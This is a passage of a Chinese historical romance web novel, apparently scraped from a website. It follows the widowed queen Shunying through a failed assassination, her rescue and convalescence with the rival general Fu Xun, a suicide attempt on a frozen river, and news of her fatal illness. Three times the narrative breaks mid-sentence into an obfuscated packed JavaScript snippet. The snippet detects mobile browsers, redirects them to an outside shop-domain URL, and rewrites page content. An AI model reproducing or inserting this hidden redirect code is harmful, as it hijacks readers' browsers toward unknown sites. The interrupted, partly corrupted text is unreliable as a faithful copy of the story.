就在冯栩以为自己即将命丧黄泉时,忽觉刀尖传来的力道缓了缓。紧跟着,响起瓷瓶破碎的声音。 元昙不知何时起来了,抄起桌上的白釉瓷瓶,对准她脑袋狠狠砸下。 然后尖叫一声,哭喊起来:“褚姐姐,我不是故意的!” 舜英以为元昙早已被控制,方才补刀太专注了些,元昙一串行云流水的偷袭,她竟分毫未察觉。 顷刻间额头被砸出个洞、鲜血直流,脚底软了软、差点晕倒。 灯火和铁靴踏地声由远及近,瓷瓶破碎声、元昙的尖叫声惊动了狼卫。 顷刻间塞了满满一屋子人,长刀出鞘的、拉弓引弦的,齐齐对准了她。 随舜英埋伏在寝殿的开阳,率麾下刀客围成一圈,刀尖朝外面向狼卫,将他们三人护在中间。 舜英冷笑一声,从冯彬躯壳内抽出刀,带出一簇血花,而后闪电般地架在了元昙脖子上,刀锋贴着她脖子往里一送,切出一道浅浅血痕。 “差点忘了,还有你,元昙。” “你叫褚姐姐听着恶心,你应当叫我——王后殿下!” “当时,你与敌国逆王合谋,弑杀母国君父之时,也是这般娇怯怯、柔弱弱的模样么?” “母国”二字落入耳中,元昙见了鬼般尖叫起来。忽然瞥见舜英手中那柄银白的刀,脸色突变、瞳孔急遽收缩,歇斯底里地笑起来。 “何必说这么难听,同样是受册封的王后,咱们彼此彼此。” “你如今用着这把刀,敢说,作为王后的两千多个日日夜夜,从未想起过那个人么?” “同样是身处高位,却惦记别国的人,你有什么资格说我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14310409|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的语气里满是愤恨、不甘、怨毒,舜英静静听着,反而笑起来。然后,风轻云淡缓缓开口。 “我是曾对他一见钟情,如何?” “我是曾与他两情相悦,又如何?” “那都是曾经,也只能是曾经!” “元昙,早与你讲过,我们是人不是禽兽。生而为人,必须为自己的选择负责。” 血流得太多,舜英眼前一阵白一阵黑。但她晃了晃身子后,仍竭力撑着,昂首挺胸站得笔直,字字清晰的吐出余下的话。 “何况,这世上总有些比爱更重要的事物,譬如道义、责任、还有——” “家国和大义!” “我与他既生在了对立的两国,就注定不能善终,就该好聚好散。” 元昙冷笑:“你了不起!你高尚!可说到底,你不过是幸运!你追随的刚好成为赢家,你仰慕的从未背刺过你!” 舜英眼瞳猛然一缩,手一抖,刀锋在元昙脖子切出血痕。 “怎么,你也尝过那滋味?”元昙浑不在意,笑声愈发癫狂,“对,我差点忘了,他们母子什么做不出来,道貌岸……” “闭嘴!”舜英握紧刀柄,头晕的越来越厉害,眼前的景象模糊成一团团血红、昏黄、白亮。她摇头驱走眼前光晕,“受死吧。” 右肩疼得厉害,攒足了劲划拉下去,忽然撞来一股强劲的力道,震得她虎口发麻、手中长刀险些被震飞。 冯栩不知何时从柱子上拔了起来,阴恻恻笑着说:“下辈子杀人的时候,记得等他断气再停手!” 毫不在意自己满身重伤,他的刀风凌厉而毒辣,挥出一道又一道霜雪冷光。 他速度极快,开阳小队正卷在狼卫的缠斗中,驰援不及。 舜英心头发寒,连连挥刀格档,却因视线模糊、力量不足,节节败退。左腿中了一刀,还有两刀交叉着划过后背…… 就在冯栩那一刀挟着赫赫风声,对准她右臂斩下时,她眼前忽然亮起一团皎洁的银白,紧跟着是刀身破碎坠地的脆响。 身体一轻,清润的甘甜木香笼罩住了她,有人在她耳边轻声说“姐姐小心”。 冯栩怒吼:“又是你!” 苻洵不搭理他,只扬声高喊:“郎琊秦川!” 郎琊和秦川从梁上悬吊着飘落,挡在舜英和冯栩之间,拔刀冲向冯栩,冯栩从案上再拔出一把长刀、与他二人互斫。 苻洵揽住舜英后退两步,避开厮杀的锋芒,焦急地喊:“你别再使力了!” 顿了顿,声音柔和几分:“冯栩很抗揍,一时半会儿杀不死。姐姐若想今天就复仇,请稍候片刻。” 远处的人沸马嘶声、铁血踏地声如潮水般涌来,是越来越多的狼卫正听讯赶来。 玉衡部的人全都以缜密和智计见长,此次暗杀,全被留在宫外和城外策应。 舜英只带了开阳那队人潜入王宫,守了半日才得了机会,一击不中,良机已失。 舜英咬牙切齿:“撤!” 晕眩的劲久久不散,小腹又开始剜刮般地抽痛,眼前一片模糊,正伸手摸索方位。耳边传来苻洵的关怀:“若不嫌弃,在下可带姐姐一程。” 舜英深吸一口气,闭上双眼:“有劳。” 于是苻洵矮身,撑住她放上自己后背,郎琊忙甩出一根锦带,苻洵伸手接过缠了几圈,将舜英捆在自己背上。 走了两步,他迟疑着开口:“姐姐的手……可否……” 舜英会意,忍着剧痛抬起双臂、搭上他的双肩,从背后环住了他的脖子。 苻洵脊背猛地一僵,却没有停下脚步,背着重伤的她,一手挥剑、一手持刀厮杀着向外飞奔而去,秦川和郎琊紧随其后,为他二人护住身后的空门。 开阳小队拼着被砍几刀的风险,纷纷弹跳而起,就势从各狼卫肩头掠过、跳到他们身边,结锋矢阵,护着他们冲向北边广寒门。 114. 犹恐相逢是梦中 地上的积雪很厚,所幸冻得结实,苻洵背着舜英,一路飞奔着穿过广寒门、胡杨林,从冰面渡河。 身后流矢破空的尖啸声不绝于耳,所幸一行人皆是身手敏捷的高手,左挡右避,只有寥寥数人中箭。 玉衡带人守在河对岸,一见他们渡河,赶紧牵着健马迎上来。瞥了一眼血人似的舜英,忙叱令龙牙带路,领着他们先去藏身营地。 同时,玉衡部下的一百人,一小队一手持盾、一手举刀掩护在前,一大队扛着麻袋紧随其后,渡河过半时用力将麻袋掷出,同时,刀盾手挥刀往麻袋上用力一撕拉。 密密麻麻的豌豆倾盆而落,跳跃着洒满冰面。 如法炮制了几次,上下近两里的河面都洒上了豌豆,追兵过河时纷纷跌得人仰马翻。 却依然有少量狼卫骑着马,侥幸渡过河面、冲杀过来,玉衡忙纵身上马,带上人拔腿就跑。 千钧一发之时,苻洵一行人消失的方向,气势汹汹冲出百来人。个个身披银色软甲,身背强弓,每匹马的身上都挂了三筒箭、六把刀。 领头的两人,正是方才扈从苻洵的那两个。 年龄大的那个说:“快走,此地由我们断后。” 玉衡目瞪口呆:“你家将军是不是有病,这么多人,一开始不带过来?” 年龄小的那个耸耸肩:“房梁不够宽敞,站不下那么多人。” 玉衡默了一瞬,觉得很有道理,道了声谢、毫不迟疑策马绝尘而去。 阿茹娜雪山西麓的山坳之中,隐蝠卫和白袍卫的营地,居然只隔了约三里地。 苻洵提议,不如将两卫的营地合在一起,戍守值夜也省些人力。开阳和玉衡对视片刻,玉衡微不可察地点了点头,开阳忙摇头制止。 玉衡拉开阳借一步说话:“苻洵对首领没恶意,首领也并不排斥他,又是暴风雪、又是追兵,多些人多份力。” “可那是荣国人”,开阳眉头紧拧,声音陡然拔高,“何况他对首领存了什么心思你不知道?” 玉衡叹了口气:“顾不得许多,眼下首领重伤,先逃出命再说。” . 舜英是在后半夜醒转的,身下垫着厚厚的、不知叠了多少层的绒毡,身上捂着三四层裘氅,血脉逐渐通畅,被极寒冻得麻木的伤口开始复苏。 她是被疼醒的。 月亮照在雪地上,反射出素白冷光,帐篷外隐隐绰绰坐着个人。她挣扎了半晌,疼得呲牙咧嘴,却起不来身。 听到动静,帐篷门帘掀动,那人裹挟着满身寒气走了进来,在她身边坐下,芳润的甘甜木香顷刻拢住了她。 “姐姐想要什么?” 舜英这才意识到,自己不再头晕目眩,视线也逐渐清晰。不禁偏过头,认真打量着苻洵。 五年不见,他的容颜俊美如旧,只是眉眼变得沉静内敛,似蕴着淡淡悲愁,轮廓也硬朗了些,透出几分成熟韵味。 如此险地,他的乌发依然一丝不苟地绾起、用银冠束好。穿着深红貂裘、披一袭胭脂红大氅,神气高朗,轩然霞举。 舜英看着他,怔愣片刻才移开目光:“替我问开阳拿些伤药。” 苻洵诧异:“你千里迢迢来杀人,随身不带伤药?”蓦然想到,她此行压根没想着回去,于是沉默了。 良久,又问:“姐姐两肩俱伤,自己上药不便,护卫中可有女子,我一并唤来?” 自然是,没有。 隐蝠卫中,能承受此苦寒的女子并不少,但舜英当时并未考虑退路、裹伤上药等琐事,又推己及人,不愿她们落下病根,于是将她们全部遣回。 片刻之后,苻洵提着个包袱回到帐篷,一边拆、一边喟叹:“他们都不敢替你上药。” 舜英无奈苦笑,抬了抬手臂、肩膀传来剧痛,分毫也动不了。 苻洵垂眸沉思片刻,从包袱中取出洁净的棉布、铺了几层在毡上,再取出新的棉布、用烈酒蘸湿,问过各色伤药功效后,一字排开。 又仔细看了一遍舜英身上的伤口,甚至比划了几下具体位置。唇角挂着自嘲的笑:“如此无耻之事,也只有我这浪荡之徒了。” 随后,挥刀裂帛、裁下三指宽的长条棉布,蒙住自己双眼,说了声“得罪”。缓慢伸出手去,极其小心地替她褪去层层衣袍,解开亵衣,拾起浸透烈酒的棉布,摸索着擦拭她肩头的伤口。 他唇角依然噙着一丝玩味的笑,动作却专注而轻柔,一旦感知她痛得狠了、忙放缓动作,不小心触到肌肤,也跟被烫到了般飞快缩回手。 如此谨小慎微,清理了两刻钟,才将她血肉模糊的左肩伤口清理好,颤颤地抖上药粉。又埋下头,解开蒙眼的布条,换干净的棉布蘸上烈酒,继续蒙上眼,抬头替她清理右肩的伤口。 寒气无孔不入,萦绕在周身,寒冷和剧痛激得她瑟瑟发抖。苻洵预感包扎所需时间很长,于是命秦川烧了个火盆放在帐篷门口,他去埋头端过来、放在她身边烘着。 蒙上双眼,继续替她清理伤口、上药、包扎。左肩、右肩、后背、左腿…… 清理额头伤口时,他解开了蒙眼布,两张脸相对、近在咫尺,一呼一吸拂过对方脸颊,他双手颤抖得厉害,手心全是汗。 舜英坐在地毡上,一瞬不瞬注视着他所有动作,看他呼吸紊乱、双唇微颤、喉结上上下下滚动数次、额头起了一层又一层薄汗。 她黑幽幽的眼瞳,泛起两抹晶亮、一掠而过,像是痛心、酸涩,又像是悲怆、决绝。 远处,秦川小声嘀咕:“以主子的浪荡劲,换以往早就撩拨得对方无话不谈了,今儿也太小心些……” 想了想,又目光灼灼的说:“还有啊,咱们都在逃命了,他还要穿那么显眼的红、还要熏香。” 郎琊白了他一眼:“不说话没人拿你当哑巴。” 开阳拽着玉衡一路飞奔,直跑进远离营地的树林,才怒气冲冲甩开他:“以往你也没少给首领上药,今天这样说,几个意思?” “先王尸骨未寒,你上蹿下跳个什么劲?” 玉衡被他拽得连连趔趄,却丝毫不惧,怒道:“你们男人都这副德行,娶个女人就跟签了卖身契一样,活着如何就算了,死了还得把人家后半辈子拉进坟里去。” “你不是男人?”开阳怒怼,声音却带了几分心虚,“又没说她不能……可这才多久?” 玉衡摇了摇头,眼中泪花闪动:“若只是安安稳稳当一辈子太后也罢,可你看她的性子,像吗?” 他顿了顿,哽咽着继续说:“杀宣正淼那天,她取了地皇山的舆图,还问我殒星崖在哪。” “殒星崖啊!这些日子她一滴泪没掉,你觉得等杀光了仇人,她下一步要做甚?” 他突然嚎啕大哭:“不管她是谁的妻子,我只当她是阿姊,只想她好好活着,有错吗?” 开阳愣住了,半晌后叹气:“苻洵这种人很邪性,心狠手辣、凉薄寡恩,却偏偏拼命对几个人好。若他是翊人,咱们也乐见其成,可惜了……” “先王一走,还不一定打得起来”,玉衡苦涩地笑了,“这又不是拉郎配,若她真想……咱们帮她隐姓埋名遁走,也不算辱了先王清誉。” 开阳垂下头:“若两国交战,以她的心性,又是一场无疾而终,但好歹让她开心了几个月。指不定熬过这几个月,她就不想死了。” 玉衡抽噎道:“只要她好好活着,别的都随她。” . 次日启程时,两队人看了看马车,又看了看帐篷外的厚厚积雪,犯了愁。 马车在雪地里的速度若是过快,极易侧翻,舜英双臂和左腿皆有重伤,无法骑马。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321312|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们先走,留些食物和药给我”,舜英仰头看向柘枝城的方向,脸上没有任何表情,“冯栩以为我们已逃远,我不若杀个回马枪。” 苻洵转过头,怔怔注视着她,眼圈红了,却什么都没说。 开阳回头扫视麾下刀客,冷冷道:“当初没护住先王,先王宽仁赦免了我们。若今时首领也折在这儿,咱们不如就地自刎谢罪!” 玉衡忙笑吟吟地说:“留得青山在,不怕没柴烧。首领不如回去,待来年冰消雪融,再举兵收复朔门关,如何?” 觑着舜英脸色,又说:“届时还可再北伐一次,打得冯栩兵败如山倒,待他身败名裂再杀掉,岂不更解恨?” 舜英直勾勾盯着玉衡,直看得他心里发毛时,唇角忽地扬起一抹微笑:“确实不错。” 苻洵走到她身边,试探道:“不如……” 舜英回头,双眸似无波的深潭,整张脸半分神采也无,呆滞地躬了躬身:“有劳。” 苻洵双眼一亮,忙跑回帐篷拾掇行李,及至看清她的武器时,又将自己的佩刀解下,放到一起细看良久,唇角不自觉上扬,心潮起伏。 两柄银白的刀,凤头交股雪花镔,身似一泓秋水、锋如一痕冰霜,除了大小略有差别,几乎一模一样。 他忍不住拔出短匕,扎进偏小那柄的刀锷处,撬开凝固的素白秘银,露出錾刻的古篆——纤云。 金风玉露一相逢,便胜却人间无数。 托举她坐上马背,再跳上去从身后环住她,牵起缰绳、与她共乘一骑,漫步在洁白无垠的雪原上。 她的身上有清甜的草木气息,是他梦寐已久的素馨花幽香,被他拢在怀中。马背颠簸,每一次肢体接触都令他心底熨贴又安稳。 她的眼神像火焰燃烧后的灰烬,一路上任他搂得越来越紧,也毫无反应。似乎除了复仇,对世间的一切都漠不关心。 哀大莫过于心死。 他竭力压制住心绪翻涌,同她絮絮碎语,起初她神游天外、任他说什么都充耳不闻。时间久了,她有时会如梦初醒,简短回复他一两个字。 他如获至宝,继续同她絮语,俩人就以这般奇特的方式“交谈”了一路,快到朔门关时,她已偶然会露出一丝微笑。 虽然那笑,淡得像夕阳将尽的一抹余晖。 舜英本打算从朔门关进武原城,然后从地皇山绕回临梁郡。岂料将近关隘时,秦川和苏铁探察得知,南下朔门关、进乌兰山的路皆被封锁,北宛士兵和城中叛军守在各大小路口、关隘,正逐一盘查过路行人。 秦川耸肩:“宣氏灭门、北宛汗王和阏氏被刺杀,这么大两桩案子,怎么严苛都不为过。” 苏铁叹气:“这么个盘查法,一只苍蝇都过不去,咱们两百多号人怎么藏?” 秦川目光灼灼,看向开阳和玉衡:“不如请各位去北卢郡作客,避避风头?” “主子先前去柘枝城并未表露过身份,如今都盯着翊国,定然想不到你们绕道去荣国了。” 他越说越高兴,仿佛这是个极好的主意:“就算眼下你们过了朔门关,还得躲躲闪闪、从地皇山翻山越岭,褚娘子这么重的伤,越早医治越好。” “骑马就不同了,从大草原过去平坦些,渡过伊河就是北卢郡,不需褚娘子劳一点身。” 开阳和玉衡对视片刻,都带着难以言喻的别扭。 秦川带了些撒娇的意味:“两位好哥哥,咱们也算共事一场,打仗归打仗、交情归交情。何况有你家首领在,主子他绝对……” “秦川!”苻洵喝止了他接下来的话,却觑着怀中舜英的表情。 舜英抬头,看了远处的关卡和兵卒,淡淡道:“有劳。” 这一路,她对他,似乎只会这几个字。 却已令他如在云端、如置身美梦。 115. 雨送黄昏花易落 威远将军府位于北卢郡东北方向,北去百里是荣国边墙、东行二十里即抵伊河,与望月关隔河遥遥相对。 五进的大宅邸,青砖砌的墙壁很厚,清一色青灰色硬山屋顶,看去高阔而拙朴。 一行人在正门下马后,众白袍卫纷纷下马,郎琊领隐蝠卫去校场、马厩和下榻的庑房,安置宾客。 苻洵让人抬了一架软榻出来,抱舜英下马、趴着放上软榻,领着他们穿过屏门、垂花门、内院,过走廊,进了第三重院,眼前豁然一亮。 一路行来花木稀少,只稀稀落落点缀了些笔挺的雪松,为这大宅更添苍古。唯独第三进的庭院中,种了几十棵红梅,正开得如火如荼,沁着冰雪的寒气,郁香醉人。 入夜,苻洵推开屋后的窗,透过影影绰绰的梅枝,一瞬不瞬注视着对面亮起的暖黄灯光,以及灯影下进进出出的大夫和婆子。 那排屋子是主屋,叫霜仪阁。 他住的这间正房,叫敦睦堂,由三间屋子打通、装上槅门,正中是卧房,两侧分别改成了兵甲库和书房。 霜仪阁几乎一直空着,他曾想着大婚之后,将锦瑟和苻忆接来北卢郡住进去,却又总觉得还缺些什么。似乎那屋子住进再多人,都是冷清的、空荡荡的,像一幅黑白灰的水墨画。 可她一住进来,虽只有三个人,整间院子都变得乐融融、亮堂堂的了,有声有色,又温暖又热闹。 柔黄的灯光、胭脂红的梅花、浅碧色的花叶,就连素白的积雪都有了温度,迎来送往的嬷嬷小厮都格外喜兴。 十二年前与她分离,他勤勉、上进,日夜不辍地练习弓马、习武修文;七年前与她短暂重逢,他又拼了命地汲汲营营、争权夺势。心里却始终空缺着一块,拥有得越多,那空缺越大。 从她住进威远将军府这一夜起,骤然之间,那空缺被填得满满当当。 郎琊将所有来客安置妥当之后,向他复命时,只见他站在窗前看得出神,唇角的笑意青涩而温存,宛如二八少年。 很想提醒他,她不是寻常孀妇,是堂堂大翊女君,只要活着一天、这身份就变不了。 默了半晌还是不敢扫他兴致。 苻洵忽然说:“今天是腊月十七了……” 郎琊想了想,试探道:“主子,往年这时候,咱们都准备回灵昌了。” 果然,苻洵摇了摇头:“我已给陛下修书一封,今年不去灵昌了,你派人把信送到。” “再多派些人,从灵昌采买些烟花爆竹回来,烟花尽管挑样式新奇、看起来滑稽有趣的。对了,放风灯……多买些精致好看的风灯回来。” 苻洵一边说着,眼睛越来越亮,走出房门到处闲逛,四处打量着嘀咕道:“怎么这么素?大过年的,花灯、窗纸、桃符、花枝什么的……赶紧布置布置!” . 此后的日子,苻洵半步都未踏出过将军府。 他除了每天去校场练练武、去前厅议议事,其余时候大都在霜仪阁守着舜英。 她伤得太重,连着发了几天高烧,此后就过得浑浑噩噩、神思恍惚,时常分不清现实和梦境。 她不在意伤口能否愈合、不在意遍体疼痛,甚至不在意生死。 端来汤药喂她、她就喝,拿来食物给她、她就吃,少盯一眼,她能连续几天水米不进。 这天,府里来了些渝安郡进献的河鲜,洗涮干净后清蒸了、原汁原味端上来,摆了满满一桌甲鱼、河蟹、河虾、田螺、鲈鱼、鳝段,苻洵见她一直盯着河蟹发愣,忙拆了一只递到她面前。 她苦笑着摇摇头:“忘了,体寒不能吃蟹。” 苻洵忙默记了下来,又问她:“这次河鲜很多,你看看哪些能吃?” 她搜肠刮肚想了半天,神思恍惚:“似乎有道拆烩鲢鱼头,维阳的做法。” 鲢鱼头端上来时,还冒着热气,她先夹起一只鱼眼睛,放到苻洵碗里,又夹起另一只放到自己碗里,含笑着抬头、正要说些什么,瞥见对面人的脸,笑容霎时消失。 苻洵意识到什么,笑容僵住,别过脸愣了片刻,直到眼角的酸涩消失,才回过头,又夹了一筷子给她,挤出个微笑:“没事,喜欢的话多吃些。” . 一晃就到了除夕,这是他第一次在北卢郡过年,也是第二次与她一起过年。 将军府早已焕然一新,处处挂着彩色绸带、红色花灯,贴着各色剪纸,还摆放了几束硕大的银柳,看起来披红挂绿,也有些喜兴气象。 苻洵给秦川和郎琊放了假,他们都是孤儿,拉着白袍卫开了几桌自己守岁;开阳和玉衡不知在想什么,也丢下舜英跑到庑房和隐蝠卫喝酒去了。 满满一桌守岁宴,就只有苻洵和舜英两人。 苻洵穿着梅红色轻裘、肩头绣着数朵绽放的烟花,笼着银红色大氅、斜斜绣着数枝银色梅花,白绒绒的毛边衬得他愈发灵动。 舜英破天荒地薄施粉黛,还换上了他送去的新衣:丁香色轻裘、在肩头的同样位置绣着烟花;外罩藕荷色大氅、绣着胭脂红梅花,衬的她肤白胜雪、眉眼如画,任是无情也动人。 她还是穿紫色好看。 当她在对面落座时,他如是想着,又在心里默默记了一笔。 暖好的屠苏酒盛入银盏,舜英挤出一抹微笑,举杯敬他:“多谢你来救我们,又照拂多日。” 苻洵并未举杯:“我不想听你说谢谢。” “也不知为何,总在落魄时遇到你”,她摇摇头,自顾自地将酒倒入口中,“欠君良多,无以为报。” 苻洵搁在杯盏上的手一颤,低下头笑得悲凉:“你总是这样……” 总在落魄时遇见对方,谁又不是呢? 舜英又倒了一杯,自斟自饮:“听说你因为来北宛,误了十月底的大婚。” 苻洵眼神一凝,劈手夺过她手中酒盏,转了个向,叠着那浅浅的胭脂印,喝下半盏残酒。然后,直勾勾盯着她,笑容暧昧,眼波流转:“误了又如何?姐姐要赔我一场大婚?” 舜英伸手要夺回酒盏,他冷冷一笑,将自己喝了一半的酒盏递到她唇边,她抬眸瞥了他一眼,就着他的手喝了下去。 “这辈子赔不了,下辈子吧。” 苻洵忽然气血翻涌,一把将她拽入怀中,居高临下注视着她双目,恨恨质问:“为什么不能是这辈子?” “你嫁过人,可那人不在了;洛川别苑那几房妾侍我全都没……我全都已经遣散,再没有人挡在我们中间了。” “我与你相识于微时,见之不忘、思之如狂。当年,你嫁给另一个位高权重的人,我却只能眼睁睁看着,无能为力。” “我们错过了那么多年,为什么还要继续错过,凭什么?” 舜英平静地看着,他的不甘、他的嫉恨、他的悲凉,却一个字也没有说。 几个时辰之后,她用行动告诉了苻洵,为什么。 . 子时,苻洵整理心绪,带她去前院放风灯。亲眼看见,她饱蘸笔墨,那洁白如雪的桑皮纸上写字。 先是写了个“一”,迟疑片刻,加了一横改成“二”,又摇摇头,再加一笔改成了“三”。 三愿如同梁上燕,岁岁长相见。 风灯如亮白的圆月,飘飘摇摇穿过飞扬的碎雪,升上天穹,消失在黑暗的夜空。 当夜,苻洵先送她回霜仪阁,然后回了敦睦堂,看到她房里熄了灯,才和衣而眠。睡下不知多久,忽觉周身森寒透骨、如坠入冰窟窿,他猛然醒转。 心突突直跳,像是要跳出胸腔,他等不及开门后绕路到后院,直接翻窗穿过庭院,冲入她的卧房。 被褥整整齐齐,纹丝不动,上面叠着那套丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335396|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香色轻裘和藕荷色大氅,屋子里又冷又空,仿佛从未有人住过。 梳妆台上,是粉盒压着的一叠纸,拿起粉盒,门外的劲风一吹,雪片似的纸张飘得满屋都是。 纸上的字千篇一律,每张都用螺子黛写着《春日宴》:一愿郎君千岁,二愿妾身常健,三愿如同梁上燕,岁岁长相见。 苻洵在满屋纸张中跪了下去,胸口好似被千万双利爪同时撕扯,痛得喘不过气。 他知道了答案,那个一直被自己刻意忽略、却显而易见的事实:就算她不愿嫁给元旻,那也是她十九年的青梅竹马、同进同退的袍泽,更是她的君父。他们相扶相持了二十四年,人非草木,何况她如此至情至性。 空气里还残留着素馨花的香气,他循着气味追出,东去二十多里,一路直追到伊河边上。遥遥望见,她早已换回满身缟素,正踏上伊河的冰面,一步一步走向河对岸。 看得仔细些,发现她并不是要渡河,而是在挑选较薄的冰层,用脚跺了跺,然后纹丝不动站在那儿,由着冰面裂开,带着她坠向河底。 苻洵快疯了,顾不得许多,三步并作两步冲过去,跳进冰窟窿里,捞起已被冻昏迷的她,然后抱住她平躺下去,贴着冰面一点点滑向岸边。 滑到岸边后,她突然醒了,愣愣站起来,望向对面黑影幢幢的群山,轻声说了句:“原来,错了就是错了,再怎么弥补也无济于事。” 然后,屈膝跪了下去,俯身趴在冰封雪冻的地上,紧紧将脸颊贴着冰凉的积雪,似沉醉在那彻骨的凉意。 数九寒天的风灌进衣袍,吹得苻洵心都凉透了、万念俱灰,鬼使神差地倒下、躺在她身边,与她一起感受那浓浓的寒气。伸臂紧紧揽着她,轻轻闭上双眼,想要与她一起在这冰天雪地里冻死、冻成雕像。 她像是一根刺,时刻刺得他鲜血淋漓,可那刺扎进去太深、已在他心底生根,若要拔出来,更会疼得他痛不欲生。 过了不知多久,她突然捂住脸嚎啕大哭,哭得昏天暗地、全身抽搐。苻洵心痛如绞,撑着僵冷的手臂坐起,扶起她的上半身,将她的头埋进自己胸口,任她泪水浸透他衣襟、再冻成厚厚的冰。 许久之后,她身躯猛地一倾、呕出几口鲜血,晕厥过去。 玉衡带着人、驱着安车赶到河边时,看了看她满脸泪痕、雪地上的殷红血迹,松了口气:“宣泄出来就好了。” . 开年之后,北卢、郅阳、英平三郡都开始流传一桩秘闻:威远将军在府里藏了个美人,对她宠爱有加,与她如胶似漆,甚至于荒疏了军政,整整两个月未出府门,遑论操练巡军。 除夕夜的事,成了苻洵与她心照不宣的秘密,再无人提及。 她待苻洵依然客气守礼,却不再像以前生疏。 有时候会借他的琴来弹奏,她的琴技很生疏、弹来弹去总不成调。苻洵从身旁挨近她、手把手点拨,她不动声色接受了。 有时候苻洵得了好茶,就在梅树下支起红泥小炉,邀她一起品鉴,她也不推拒。 伤刚好了些,她便急不可待去校场练武,苻洵本想拦着,可看见她一练武就满脸笑容,就由她去了,只得私下替她搜罗更好的伤药。 鞭如皎洁的灵蛇,刀如空明的霜雪,苻洵最喜欢替她喂招。一别数年,她生儿育女、庶务缠身,武艺不进反退,他却千锤百炼、愈发精进。 此时,他一出手便能轻松压制她的招式。 如此多练几次,她便了无趣味。于是苻洵召来秦川或郎琊替她喂招,她胜秦川一筹、胜郎琊许多,二人合攻时能不分上下、缠斗很久。 他不再去看自己引以为傲的军队,仿佛再多看一眼,就看到自己与她兵戎相向的那天。 他不愿出将军府、不愿时间流逝,只想就这样和她一起,永远过下去,久些、再久些。 116. 待重结,来生愿 北卢郡的冬季很漫长,二月底,满庭红梅依然开得热闹。 第三进庭院很宽阔,梅树下铺着地毡、毡上搭了张软榻,苻洵练武回来时,看到舜英正躺在软榻上,双目紧闭。 除夕之后,她虽然精神逐渐振作,餐饭汤药都进得及时,外伤也愈合得极快,却一天比一天容易疲累。 大夫说,她前些年生育过繁、思虑过度,去年小月之后又一直大悲大恸,身子并未养好。成天强撑病体操劳,还数次透支体力去搏杀,更长期身处极寒,已落下病根,表面瞧着还好,内里已油尽灯枯了。 又说,她肺腑和骨髓里纠缠着一股阴诡之气,起初随血液流转、藏于腠理和肌肤,难以察觉,发现时已侵染极深。再是如何温补也无用,这股阴诡之气、牢牢压制着所有药材的药性,拖得她身子一天天垮下去。 支走院里所有人,苻洵走到软榻前,颤抖着跪了下来,紧握住她冰冷的手,泣不成声。 原来,他这一生所有的求不得,全是自作自受。 掌心的手动了动,他忙擦干眼泪抬头,看到她仍是闭着眼的,却睫羽微颤,想是醒了后不愿睁眼、合目假寐。 一片梅瓣落在她光洁的额上,正正覆在眉心,为这苍白平添几分清艳。他不禁伸出手指,轻轻点按在深红的花瓣上。 她睁开眼,轻声问:“好看?” 他挤出一缕微笑:“好看。” 忽然想起什么,冲进她卧房取来胭脂、金粉和鼠须笔,在她额间轻轻填描。她笑了笑,又合上双眸,静静躺着,听任他为自己画额间花钿。 无数次出现在他梦里的场景。 她额心一点娇红,肤胜霜雪素、眉似远山黛、颊晕飞霞薄、唇点淡红心,就这样沉静地躺在他面前。 画完最后一笔,他不禁俯身,双唇覆上她的眉心。她身子一僵,却没有推开他,任他轻柔地吻过额头、双眸、脸颊。 他心里满是悲凉和恐惧,紧紧抱着她、身躯难以自已地战栗,泪流满面。 等他稳住心绪之后,她温柔地开口:“阿洵,雪快化了,我要回去了。” 苻洵如梦初醒,垂目思索半晌后,唇角弯了弯,下定决心:“可不可以不走,或者带上我?” 舜英如遭雷劈,难以置信地看着他:“你说什么?” 苻洵抬眸,认真凝视着她双目:“你不再当翊国的太后,或者我不再当荣国的将军。” “我知道你在故国羁绊太多,不可能放弃。但我可以……我在灵昌,挂念的唯有哥哥和那几个孩子。” “荣人极其重视子嗣,我好好挑几户知根知底的人家,将孩子托付过去,再尽我所能帮衬他们,两相得宜。” 他越说越高兴:“你不是一直担心两国交战么?若我不在荣国,两国兵力悬殊,哥哥不会轻启战端。” “你疯了?”舜英轻蹙双眉,“你去翊国,不要命了?” 苻洵目光灼灼盯着她:“姐姐只要点个头,法子我来想。届时我隐姓埋名,只作你身边一个小小幕僚,无人会在意。” 舜英愣住了,莫大的讽刺和荒谬感笼罩了她,五味陈杂地注视着他,许久才柔声开口:“我的身子自己清楚,已油尽灯枯,最多剩几个月寿数。” “阿洵,我没你想得那么好,前几年对荣国的许多策略都是我进言的。你何必为了这样一个我,这短短几个月,把自己搭进去?” 苻洵眼圈泛红,含泪笑了笑:“值。” “先前那些,不过因为你是翊国人、我是荣国人,那是国与国的斗争,不是我们之间的矛盾。只要我离家去国,矛盾将不复存在……” 